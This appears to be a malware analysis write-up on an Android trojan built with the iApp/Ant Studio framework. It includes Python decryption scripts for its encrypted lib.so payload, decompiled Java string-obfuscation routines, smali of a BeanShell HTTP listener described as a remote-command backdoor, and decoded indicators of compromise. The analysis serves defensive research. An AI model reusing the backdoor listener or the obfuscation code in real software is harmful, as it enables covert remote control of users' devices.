    local_64 = (rem + len(p2)) & 0xFF

    h = hashlib.md5(p1_xor + p2_xor).digest()
    digest = bytearray(h)
    local_68 = (local_64 + 8) & 0xFF

```

```

sVar23 = 0
for i in range(16):
    b = digest[i]
    signed_b = b if b < 128 else b - 256
    iVar8 = abs(signed_b) % 16
    if 8 < iVar8:
        b ^= local_68
    b_at_swap = digest[iVar8]
    digest[iVar8] = b
    digest[i] = b_at_swap ^ STATIC_KEY_SLKY[sVar23]
    sVar23 = (sVar23 + 1) % len(STATIC_KEY_SLKY)
return bytes(digest)

def xor_data(data, key):
    if not key: return data
    kl = len(key)
    res = bytearray(data)
    for i in range(len(res)):
        res[i] ^= key[i % kl]
    return bytes(res)

def check_header(data):
    if len(data) < 4: return None
    if b"PK\x03\x04" in data[:16]: return "ZIP"
    if b"dex\n" in data[:16]: return "DEX"
    if b"\x7fELF" in data[:16]: return "ELF"
    return None

def decrypt():
    with open("lib.so", "rb") as f:
        full_data = f.read()

    inputs = [s.encode('utf-8') for s in POTENTIAL_STRINGS]
    derived_keys = []

    # 1. slky(k1, k2)
    for k1 in inputs:
        for k2 in inputs:
            dk = slky_scramble_fixed(k1, k2)
            derived_keys.append((dk, f"slky({k1.decode()}, {k2.decode()})"))
            dk_burden = bytes([dk[i] ^ STATIC_KEY_BURDEN[i % 20] for i in range(16)])
            derived_keys.append((dk_burden, f"slky(...) ^ Burden"))

    # 2. Observed keys directly
    for s in POTENTIAL_STRINGS:
        try:
            k = binascii.unhexlify(s)
            if len(k) == 16:
                derived_keys.append((k, "ObservedHEX"))
        except: pass

    print(f"Testing {len(derived_keys)} potential keys...")

```

```

chunk = full_data[:128]

for dk, desc in derived_keys:
    # Flow 1: Just XOR
    final = xor_data(chunk, dk)
    res = check_header(final)
    if res:
        print(f"FOUND! Mode: XOR. Key: {desc}")
        return

    # Flow 2: AES-CBC (IV=DK)
    for iv in [b'\x00'*16, dk]:
        try:
            # Path A: AES then XOR
            cipher = AES.new(dk, AES.MODE_CBC, iv)
            pt_aes = cipher.decrypt(chunk)
            final = xor_data(pt_aes, dk)
            if check_header(final):
                print(f"FOUND! Mode: AES->XOR. Key: {desc}, IV: {'DK' if iv==dk else
'0'}")
                return
            # Path B: XOR then AES
            data_xor = xor_data(chunk, dk)
            cipher = AES.new(dk, AES.MODE_CBC, iv)
            final = cipher.decrypt(data_xor)
            if check_header(final):
                print(f"FOUND! Mode: XOR->AES. Key: {desc}, IV: {'DK' if iv==dk else
'0'}")
                return
        except: pass

    print("Failed.")

decrypt()

```

```

import hashlib
import binascii

STATIC_KEY_SLKY = bytes([
    0xe2, 0x5f, 0x48, 0x73, 0x25, 0xc6, 0xe7, 0x11,
    0x80, 0x7c, 0x46, 0xc3, 0xe3, 0x1d, 0x3c, 0x97,
    0x3c, 0x77, 0x1e, 0x01
])

STATIC_KEY_BURDEN = bytes([
    0xE2, 0x48, 0x25, 0xE7, 0x80, 0x46, 0xE3, 0x3C,
    0x3C, 0x1E, 0x25, 0x1D, 0x4E, 0x05, 0x55, 0xE1,
    0x69, 0xA8, 0x18, 0xCA
])

```



```

KEYS_HEX = [
    "32E7B35ADA13BEA8CF404851152AA011",
    "41B1D0B984BD880A5F707851FDCA6038",
    "501093F28411FE6264731BEC7A1E040E",
    "54D7230A2CBD299534BA7E2149F62023"
]

def c_mod(a, b):
    return int(a % b) if a >= 0 else -int(-a % b)

def slky_scramble(p1, p2):
    # p1, p2 are bytes
    s = len(p1)
    for b in p1:
        val = b if b < 128 else b - 256
        s += val

    rem = c_mod(s, len(p1))
    local_64 = (rem + len(p2)) & 0xFF

    h = hashlib.md5(p1 + p2).digest()
    digest = bytearray(h)
    len_d = 16
    local_68 = (local_64 + 8) & 0xFF

    sVar23 = 0
    for i in range(len_d):
        b = digest[i]
        signed_b = b if b < 128 else b - 256
        iVar8 = abs(signed_b) % 16

        if 8 < iVar8:
            b ^= local_68
            # digest[i] = b # Overwritten anyway

        bVar5 = digest[iVar8]
        digest[iVar8] = b
        digest[i] = bVar5 ^ STATIC_KEY_SLKY[sVar23]
        sVar23 = (sVar23 + 1) % 20

    return bytes(digest)

keys_bin = [binascii.unhexlify(k) for k in KEYS_HEX]

print("Derived Keys (slky(k1, k2)):")
for i, k1 in enumerate(keys_bin):
    for j, k2 in enumerate(keys_bin):
        dk = slky_scramble(k1, k2)
        print(f"[{i}][{j}]: {dk.hex().upper()}")

print("\nDerived Keys (slky(k1, k2) ^ Burden):")
for i, k1 in enumerate(keys_bin):
    for j, k2 in enumerate(keys_bin):

```

```
dk = slky_scramble(k1, k2)
dk_b = bytes([dk[idx] ^ STATIC_KEY_BURDEN[idx] for idx in range(16)])
print(f"[{i}][{j}]: {dk_b.hex().upper()}")
```

Due to the time-sensitive nature of the investigation, the Apich Organization Security Team has only partially decrypted the lib.so payload. We are now calling upon the security community to assist in completing the analysis.

2. Structural Analysis: The iApp/Ant Studio Framework

The malware is built on the **iApp (Ant Studio)** development framework, common in Chinese-origin grayware and Trojans.

- **Dynamic Loading:** The `logoActivity.smali` code confirms the app scans assets for a file named `yuv0.xml`. This file likely serves as a manifest for the "real" payload once the native layer decrypts it into memory.
- **The "Yu Code" Interpreter:** We've identified `com.iapp.app.run` and classes like `Aid_YuCodeX` as the execution engine. This engine runs scripts (likely `.iyu` or `.myu` files) that are hidden inside the encrypted `lib.so`. These scripts perform the actual malicious actions (SMS intercepting, C2 communication) while the Java layer remains "clean."
- **Stateful Control:** The variable `Lc/b/a/a/w;->o:I` acts as a global state flag. When set by the native library, it likely switches the engine into an "Encrypted Path," forcing the app to read its logic from a decrypted memory buffer rather than the standard filesystem.

```
import base64
import re

def get_xor_key():
    # Replicating the Java: Base64Utils.encode("三生石畔 彼岸花开".getBytes())
    s = base64.b64encode("三生石畔 彼岸花开".encode('utf-8')).decode('utf-8')
    # replaceAll("\\D+", "") -> keep only numbers
    digits = re.sub(r'\D', '', s)
    # reverse and convert to int
    return int(digits[::-1])

def decrypt_l(encrypted_str):
    key = get_xor_key()

    # 1. Reverse XOR with the dynamic key
    chars = list(encrypted_str)
    for i in range(len(chars)):
        chars[i] = chr(ord(chars[i]) ^ key)

    # 2. Base64 Decode
    b64_decoded = base64.b64decode("".join(chars))

    # 3. XOR with 255 (Bitwise NOT)
    final_bytes = bytearray()
    for b in b64_decoded:
```

```

        final_bytes.append(b ^ 255)

    return final_bytes.decode('utf-8', errors='ignore')

# Testing with the QQ group or other strings
print(f"Dynamic Key Found: {get_xor_key()}")

```

```

import base64
import re
import sys

def get_xor_key():
    # Replicating Java: Base64Utils.encode("三生石畔 彼岸花开")
    # Note: The Java code uses the specific Chinese characters as the seed
    seed = "三生石畔 彼岸花开"
    s = base64.b64encode(seed.encode('utf-8')).decode('utf-8')
    digits = re.sub(r'\D', '', s)
    return int(digits[::-1])

def decrypt_l(encrypted_input):
    try:
        key = get_xor_key()

        # Step 1: Reverse the XOR with the dynamic key
        # The Java code does: charArray[i] = (char) (charArray[i] ^ num.intValue())
        xor_stage = "".join([chr(ord(c) ^ key) for c in encrypted_input])

        # Step 2: Base64 Decode
        b64_decoded = base64.b64decode(xor_stage)

        # Step 3: XOR with 255 (Bitwise NOT)
        # Java: bArrDecode[i2] = (byte) (bArrDecode[i2] ^ 255)
        final_bytes = bytearray([b ^ 255 for b in b64_decoded])

        return final_bytes.decode('utf-8', errors='ignore')
    except Exception as e:
        return f"[Error: {e}]"

if __name__ == "__main__":
    if len(sys.argv) > 1:
        print(f"Result: {decrypt_l(sys.argv[1])}")
    else:
        print("Usage: python3 bulk_decrypt.py <encrypted_string>")
        print(f"Logic Key: {get_xor_key()}")

```

```

package jamesxu.biuedittext;

import android.util.Base64;
import java.nio.charset.StandardCharsets;

/* loaded from: /home/pana/dev/jadx-1.5.3/20260121001/lib/yecian.dex */
public class jiami {

```

```

    public static final String getsss(String str) {
        String str2 = new String(Base64.encode("by:彼岸花 qq:1279525738".getBytes(), 0));
        String str3 = (String) str2.subSequence(3, 4);
        String str4 = (String) str2.subSequence(4, 5);
        return new String(new String(Base64.encode(new StringBuffer().append((Object) new
StringBuffer(new String(Base64.encode(str.getBytes(), 0))).reverse()).toString().getBytes(),
0)).replaceAll(str3, "三生石畔").replaceAll(str4, "彼岸花开").replaceAll("三生石畔",
str4).replaceAll("彼岸花开", str3));
    }

    public static String l(String str) {
        Integer num = new Integer(new StringBuffer(Base64Utils.encode("三生石畔 彼岸花
开".getBytes()).replaceAll("\\D+", "").reverse()).toString());
        char[] charArray = str.toCharArray();
        for (int i = 0; i < charArray.length; i++) {
            charArray[i] = (char) (charArray[i] ^ num.intValue());
        }
        byte[] bArrDecode = Base64Utils.decode(new String(charArray));
        for (int i2 = 0; i2 < bArrDecode.length; i2++) {
            bArrDecode[i2] = (byte) (bArrDecode[i2] ^ 255);
        }
        return new String(new String(bArrDecode, StandardCharsets.UTF_8));
    }

    public static final String b64(String str) {
        String strEncode = Base64Utils.encode("末之彼岸".getBytes());
        String strEncode2 = Base64Utils.encode("花开不败".getBytes());
        String str2 = (String) strEncode.subSequence(10, 11);
        String str3 = (String) strEncode.subSequence(11, 12);
        String string = new StringBuffer(new String(Base64Utils.decode(str.replaceAll(str2,
"三生石畔").replaceAll(str3, "彼岸花开").replaceAll("三生石畔", str3).replaceAll("彼岸花开",
str2)))).reverse().toString();
        String str4 = (String) strEncode2.subSequence(0, 1);
        String str5 = (String) strEncode2.subSequence(4, 5);
        return new String(Base64Utils.decode(string.replaceAll(str4, "三生石
畔").replaceAll(str5, "彼岸花开").replaceAll("三生石畔", str5).replaceAll("彼岸花开", str4)));
    }
}

```

3. Technical Discovery: The "Ghost Server" Backdoor

The malware utilizes an embedded web server to turn the infected device into a remote-controlled terminal.

- **BeanShell Remote Shell:** The discovery of `bsh/util/Httpd.smali` confirms the presence of a mini-web server. Unlike standard apps that "pull" data from a server, this app "listens" for incoming commands.
- **Persistent Listening:** The `ServerSocket->accept()` loop in `Httpd.smali` indicates that once the app is launched, it opens a port on the device. An attacker can "push" raw Java code or system commands directly to the phone via a simple HTTP POST request.
- **Multi-Threaded Execution:** The `Ljava/lang/Thread;->start()V` calls within the `Httpd` class allow the

attacker to execute tasks (like file exfiltration or audio recording) in the background without affecting the user's current activity.

```
.class public Lbsh/util/Httpd;
.super Ljava/lang/Thread;
.source ""

# instance fields
.field ss:Ljava/net/ServerSocket;

# direct methods
.method public constructor <init>(I)V
    .locals 1

    invoke-direct {p0}, Ljava/lang/Thread;-><init>()V

    new-instance v0, Ljava/net/ServerSocket;

    invoke-direct {v0, p1}, Ljava/net/ServerSocket;-><init>(I)V

    iput-object v0, p0, Lbsh/util/Httpd;->ss:Ljava/net/ServerSocket;

    return-void
.end method

.method public static main([Ljava/lang/String;)V
    .locals 2

    new-instance v0, Lbsh/util/Httpd;

    const/4 v1, 0x0

    aget-object p0, p0, v1

    invoke-static {p0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I

    move-result p0

    invoke-direct {v0, p0}, Lbsh/util/Httpd;-><init>(I)V

    invoke-virtual {v0}, Ljava/lang/Thread;->start()V

    return-void
.end method

# virtual methods
.method public run()V
    .locals 2

    :goto_0
```

```

:try_start_0
new-instance v0, Lbsh/util/HttpdConnection;

iget-object v1, p0, Lbsh/util/Httpd;->ss:Ljava/net/ServerSocket;

invoke-virtual {v1}, Ljava/net/ServerSocket;->accept()Ljava/net/Socket;

move-result-object v1

invoke-direct {v0, v1}, Lbsh/util/HttpdConnection;-><init>(Ljava/net/Socket;)V

invoke-virtual {v0}, Ljava/lang/Thread;->start()V
:try_end_0
.catch Ljava/io/IOException; {:try_start_0 .. :try_end_0} :catch_0

goto :goto_0

:catch_0
move-exception v0

sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;

invoke-virtual {v1, v0}, Ljava/io/PrintStream;->println(Ljava/lang/Object;)V

return-void
.end method

```

```

def decode_iapp_btoo(s):
    try:
        nums = [int(n) for n in s.split()]
        # Convert signed bytes to unsigned
        bytes_obj = bytes([n % 256 for n in nums])
        return bytes_obj.decode('utf-8')
    except Exception as e:
        return str(e)

strings = [
    "55 51 52 54 50 56 51 56 55",
    "-26 -72 -87 -23 -90 -88 -26 -113 -112 -25 -92 -70",
    "-28 -72 -117 -24 -67 -67 -26 -101 -76 -26 -106 -80"
]

results = {s: decode_iapp_btoo(s) for s in strings}
print(results)

```

4. Decoded Indicators of Compromise (IOCs)

Using the `btoo` (Byte-to-Object) decryption logic found in the scripts, we have successfully unmasked the "plain text" values that the malware uses to hide its operational hub.

Encoded Decimal	Decoded Value	Role in Malware
55 51 52 54 50 56 51 56 55	734628387	The QQ Group ID. This is the primary command and control (C2) hub for the "Ant Studio" developers.
-26 -72 -87 ...	温馨提示	"Warm Reminder" — Used as the title for fake system popups.
-28 -72 -117 ...	下载更新	"Download Update" — The button text used to trick users into installing more malicious stages.

5. Defensive Infrastructure: The "China-Only" Gatekeeper

Our attempts to reach the command infrastructure revealed a high degree of operational security (OPSEC).

- **IP Geofencing:** The `Connection reset by peer` and Cloudflare blocks suggest the attackers use "Regional Gatekeeping." The servers are configured to reject any traffic that does not originate from a specific range of Chinese mobile carrier IP addresses.
- **Anti-Sandboxing:** The infrastructure is tuned to ignore `curl` or automated research tools, likely validating the `User-Agent` and device fingerprints before allowing the payload to download.